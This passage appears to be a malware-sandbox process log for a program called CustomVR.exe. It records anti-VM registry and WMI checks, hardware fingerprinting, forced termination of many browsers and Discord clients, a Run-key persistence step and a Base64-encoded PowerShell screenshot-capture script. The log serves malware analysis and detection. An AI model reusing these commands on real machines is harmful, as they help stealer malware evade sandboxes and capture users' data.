    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:236
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:1064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:1100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  PID:2568
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  PID:6112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:6012
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:5024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:1992
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:5396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:5984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:3736
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:588
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --app-path="C:\Users\Admin\AppData\Local\Programs\CustomVR\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782611598691757 --launch-time-ticks=659426174 --field-trial-handle=1736,i,833398806303807732,191876462683291322,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1740,i,727643193516486243,10991168634599656728,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2572 /prefetch:1
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3748
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1736,i,833398806303807732,191876462683291322,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1740,i,727643193516486243,10991168634599656728,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=2560 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:2352
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:3420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:4008
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:1468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:1032
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:5136
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:5372
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:4944
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:2188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:3412
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3784
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:3524
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:4432
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:1480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3480
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:6032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:4216
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2508
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:3264
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:3420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:6240
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:6276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:6440
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:6500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:6704
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:6744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:6792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:6828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:6984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:7020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA4ADAAMQAxAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA4ADAAMQAxAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AOAAwADEAMQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADgAMAAxADEALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:6436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA4ADAAMQAxAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA4ADAAMQAxAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AOAAwADEAMQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADgAMAAxADEALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:6584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:5628
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:6360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:6708
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:6388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:6832
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:6416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:6884
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:6480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:7040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6828
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:7048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:7052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:7128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:6252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:7008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:1684
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  PID:7028
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:6272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:6992
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:6532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  PID:6456
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:6612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:6680
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:6536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:6712
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:6528

C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --hidden
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3176
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1872,i,16852023806057551233,106129778219990509,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1876,i,1948722429138298516,14067708075156761141,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1868 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1012
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1872,i,16852023806057551233,106129778219990509,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1876,i,1948722429138298516,14067708075156761141,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1928 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
